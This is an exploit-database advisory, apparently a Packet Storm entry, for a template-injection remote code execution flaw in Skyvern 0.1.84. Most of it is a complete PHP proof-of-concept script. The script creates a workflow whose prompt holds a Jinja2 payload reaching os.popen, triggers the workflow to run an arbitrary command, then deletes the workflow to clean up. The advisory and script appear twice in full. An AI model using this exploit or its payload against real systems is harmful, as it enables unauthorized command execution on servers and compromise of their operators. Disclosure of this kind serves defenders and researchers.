8.5
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Description
Skyvern version 0.1.84 remote code execution proof of concept exploit that leverages a vulnerability in workflow creation functionality where user-supplied input in the prompt field is processed through Jinja2 templating engine without proper...
Basic Information
ID
PACKETSTORM:215882
Published
Feb 19, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Skyvern 0.1.84 Code Execution Vulnerability Analysis |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.skyvern.com/ |
=============================================================================================================================================
[+] Summary :
The vulnerability exists in the workflow creation functionality where user-supplied input
in the prompt field is processed through Jinja2 templating engine without proper sanitization, allowing attackers to execute arbitrary Python code and ultimately system commands..
[+] POC :
php poc.php
<?php
class SkyvernSSTI_RCE {
private $target;
private $api_key;
private $workflow_id;
public function __construct($target, $api_key) {
$this->target = rtrim($target, '/');
$this->api_key = $api_key;
$this->workflow_id = null;
}
private function send_request($method, $endpoint, $data = null) {
$url = $this->target . $endpoint;
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTPHEADER => [
'X-API-Key: ' . $this->api_key,
'Content-Type: application/json'
],
CURLOPT_CUSTOMREQUEST => $method,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
if ($data !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
throw new Exception("Request failed: " . $error);
}
return [
'code' => $http_code,
'body' => $response
];
}
private function create_workflow_json($payload) {
return [
'title' => $this->random_string(8),
'description' => '',
'proxy_location' => 'RESIDENTIAL',
'webhook_callback_url' => '',
'persist_browser_session' => false,
'model' => null,
'totp_verification_url' => null,
'workflow_definition' => [
'parameters' => [],
'blocks' => [
[
'label' => 'block_1',
'continue_on_failure' => false,
'block_type' => 'task_v2',
'prompt' => $this->generate_payload($payload),
'url' => '',
'max_steps' => 25,
'totp_identifier' => null,
'totp_verification_url' => null
]
]
],
'is_saved_task' => false
];
}
private function generate_payload($command) {
return
"{% for x in ().__class__.__base__.__subclasses__() %}\n" .
" {% if 'warning' in x.__name__ %}\n" .
" {{ x()._module.__builtins__['__import__']('os').popen(\"" .
addslashes($command) . "\").read() }}\n" .
" {% endif %}\n" .
"{% endfor %}";
}
private function random_string($length = 8) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $characters[rand(0, strlen($characters) - 1)];
}
return $result;
}
public function check() {
try {
$response = $this->send_request('GET', '/api/v1/workflows');
if ($response['code'] !== 200) {
return "Target is probably not Skyvern or API key is invalid";
}
$json_response = json_decode($response['body'], true);
if ($json_response === null) {
return "Failed to parse response - target may not be Skyvern";
}
return "Target appears to be Skyvern and is accessible";
} catch (Exception $e) {
return "Check failed: " . $e->getMessage();
}
}
public function create_workflow($payload) {
try {
$workflow_data = $this->create_workflow_json($payload);
$response = $this->send_request('POST', '/api/v1/workflows', $workflow_data);
if ($response['code'] !== 200) {
throw new Exception("Failed to create workflow. HTTP Code: " . $response['code']);
}
$json_response = json_decode($response['body'], true);
if (!isset($json_response['workflow_permanent_id'])) {
throw new Exception("Workflow ID not found in response");
}
$this->workflow_id = $json_response['workflow_permanent_id'];
echo "[+] Workflow created successfully. ID: " . $this->workflow_id . "\n";
return true;
} catch (Exception $e) {
echo "[-] Failed to create workflow: " . $e->getMessage() . "\n";
return false;
}
}
public function trigger_workflow() {
if (!$this->workflow_id) {
echo "[-] No workflow ID available\n";
return false;
}
try {
$data = ['workflow_id' => $this->workflow_id];
$response = $this->send_request('POST', "/api/v1/workflows/{$this->workflow_id}/run", $data);
if ($response['code'] !== 200) {
throw new Exception("Failed to trigger workflow. HTTP Code: " . $response['code']);
}
$json_response = json_decode($response['body'], true);
if (!isset($json_response['workflow_id']) && !isset($json_response['workflow_run_id'])) {
throw new Exception("Workflow execution response invalid");
}
echo "[+] Workflow triggered successfully\n";
return true;
} catch (Exception $e) {
echo "[-] Failed to trigger workflow: " . $e->getMessage() . "\n";
return false;
}
}
public function cleanup() {
if (!$this->workflow_id) {
return;
}
try {
$this->send_request('DELETE', "/api/v1/workflows/{$this->workflow_id}");
echo "[+] Workflow cleaned up\n";
} catch (Exception $e) {
echo "[-] Failed to cleanup workflow: " . $e->getMessage() . "\n";
}
}
public function exploit($command) {
echo "[*] Starting exploitation...\n";
echo "[*] Checking target...\n";
$check_result = $this->check();
echo "[*] Check result: " . $check_result . "\n";
echo "[*] Creating malicious workflow...\n";
if (!$this->create_workflow($command)) {
return false;
}
echo "[*] Triggering workflow execution...\n";
if (!$this->trigger_workflow()) {
return false;
}
echo "[+] Exploitation completed. Command should be executed.\n";
return true;
}
}
if (php_sapi_name() === 'cli') {
if ($argc < 4) {
echo "Usage: php " . $argv[0] . " <target_url> <api_key> <command>\n";
echo "Example: php " . $argv[0] . " http://localhost:8000 abc123 \"id\"\n";
exit(1);
}
$target = $argv[1];
$api_key = $argv[2];
$command = $argv[3];
$exploit = new SkyvernSSTI_RCE($target, $api_key);
try {
$exploit->exploit($command);
} catch (Exception $e) {
echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
} finally {
$exploit->cleanup();
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : Skyvern 0.1.84 Code Execution Vulnerability Analysis |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.skyvern.com/ |
=============================================================================================================================================
[+] Summary :
The vulnerability exists in the workflow creation functionality where user-supplied input
in the prompt field is processed through Jinja2 templating engine without proper sanitization, allowing attackers to execute arbitrary Python code and ultimately system commands..
[+] POC :
php poc.php
<?php
class SkyvernSSTI_RCE {
private $target;
private $api_key;
private $workflow_id;
public function __construct($target, $api_key) {
$this->target = rtrim($target, '/');
$this->api_key = $api_key;
$this->workflow_id = null;
}
private function send_request($method, $endpoint, $data = null) {
$url = $this->target . $endpoint;
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTPHEADER => [
'X-API-Key: ' . $this->api_key,
'Content-Type: application/json'
],
CURLOPT_CUSTOMREQUEST => $method,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
if ($data !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
throw new Exception("Request failed: " . $error);
}
return [
'code' => $http_code,
'body' => $response
];
}
private function create_workflow_json($payload) {
return [
'title' => $this->random_string(8),
'description' => '',
'proxy_location' => 'RESIDENTIAL',
'webhook_callback_url' => '',
'persist_browser_session' => false,
'model' => null,
'totp_verification_url' => null,
'workflow_definition' => [
'parameters' => [],
'blocks' => [
[
'label' => 'block_1',
'continue_on_failure' => false,
'block_type' => 'task_v2',
'prompt' => $this->generate_payload($payload),
'url' => '',
'max_steps' => 25,
'totp_identifier' => null,
'totp_verification_url' => null
]
]
],
'is_saved_task' => false
];
}
private function generate_payload($command) {
return
"{% for x in ().__class__.__base__.__subclasses__() %}\n" .
" {% if 'warning' in x.__name__ %}\n" .
" {{ x()._module.__builtins__['__import__']('os').popen(\"" .
addslashes($command) . "\").read() }}\n" .
" {% endif %}\n" .
"{% endfor %}";
}
private function random_string($length = 8) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $characters[rand(0, strlen($characters) - 1)];
}
return $result;
}
public function check() {
try {
$response = $this->send_request('GET', '/api/v1/workflows');
if ($response['code'] !== 200) {
return "Target is probably not Skyvern or API key is invalid";
}
$json_response = json_decode($response['body'], true);
if ($json_response === null) {
return "Failed to parse response - target may not be Skyvern";
}
return "Target appears to be Skyvern and is accessible";
} catch (Exception $e) {
return "Check failed: " . $e->getMessage();
}
}
public function create_workflow($payload) {
try {
$workflow_data = $this->create_workflow_json($payload);
$response = $this->send_request('POST', '/api/v1/workflows', $workflow_data);
if ($response['code'] !== 200) {
throw new Exception("Failed to create workflow. HTTP Code: " . $response['code']);
}
$json_response = json_decode($response['body'], true);
if (!isset($json_response['workflow_permanent_id'])) {
throw new Exception("Workflow ID not found in response");
}
$this->workflow_id = $json_response['workflow_permanent_id'];
echo "[+] Workflow created successfully. ID: " . $this->workflow_id . "\n";
return true;
} catch (Exception $e) {
echo "[-] Failed to create workflow: " . $e->getMessage() . "\n";
return false;
}
}
public function trigger_workflow() {
if (!$this->workflow_id) {
echo "[-] No workflow ID available\n";
return false;
}
try {
$data = ['workflow_id' => $this->workflow_id];
$response = $this->send_request('POST', "/api/v1/workflows/{$this->workflow_id}/run", $data);
if ($response['code'] !== 200) {
throw new Exception("Failed to trigger workflow. HTTP Code: " . $response['code']);
}
$json_response = json_decode($response['body'], true);
if (!isset($json_response['workflow_id']) && !isset($json_response['workflow_run_id'])) {
throw new Exception("Workflow execution response invalid");
}
echo "[+] Workflow triggered successfully\n";
return true;
} catch (Exception $e) {
echo "[-] Failed to trigger workflow: " . $e->getMessage() . "\n";
return false;
}
}
public function cleanup() {
if (!$this->workflow_id) {
return;
}
try {
$this->send_request('DELETE', "/api/v1/workflows/{$this->workflow_id}");
echo "[+] Workflow cleaned up\n";
} catch (Exception $e) {
echo "[-] Failed to cleanup workflow: " . $e->getMessage() . "\n";
}
}
public function exploit($command) {
echo "[*] Starting exploitation...\n";
echo "[*] Checking target...\n";
$check_result = $this->check();
echo "[*] Check result: " . $check_result . "\n";
echo "[*] Creating malicious workflow...\n";
if (!$this->create_workflow($command)) {
return false;
}
echo "[*] Triggering workflow execution...\n";
if (!$this->trigger_workflow()) {
return false;
}
echo "[+] Exploitation completed. Command should be executed.\n";
return true;
}
}
if (php_sapi_name() === 'cli') {
if ($argc < 4) {
echo "Usage: php " . $argv[0] . " <target_url> <api_key> <command>\n";
echo "Example: php " . $argv[0] . " http://localhost:8000 abc123 \"id\"\n";
exit(1);
}
$target = $argv[1];
$api_key = $argv[2];
$command = $argv[3];
$exploit = new SkyvernSSTI_RCE($target, $api_key);
try {
$exploit->exploit($command);
} catch (Exception $e) {
echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
} finally {
$exploit->cleanup();
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================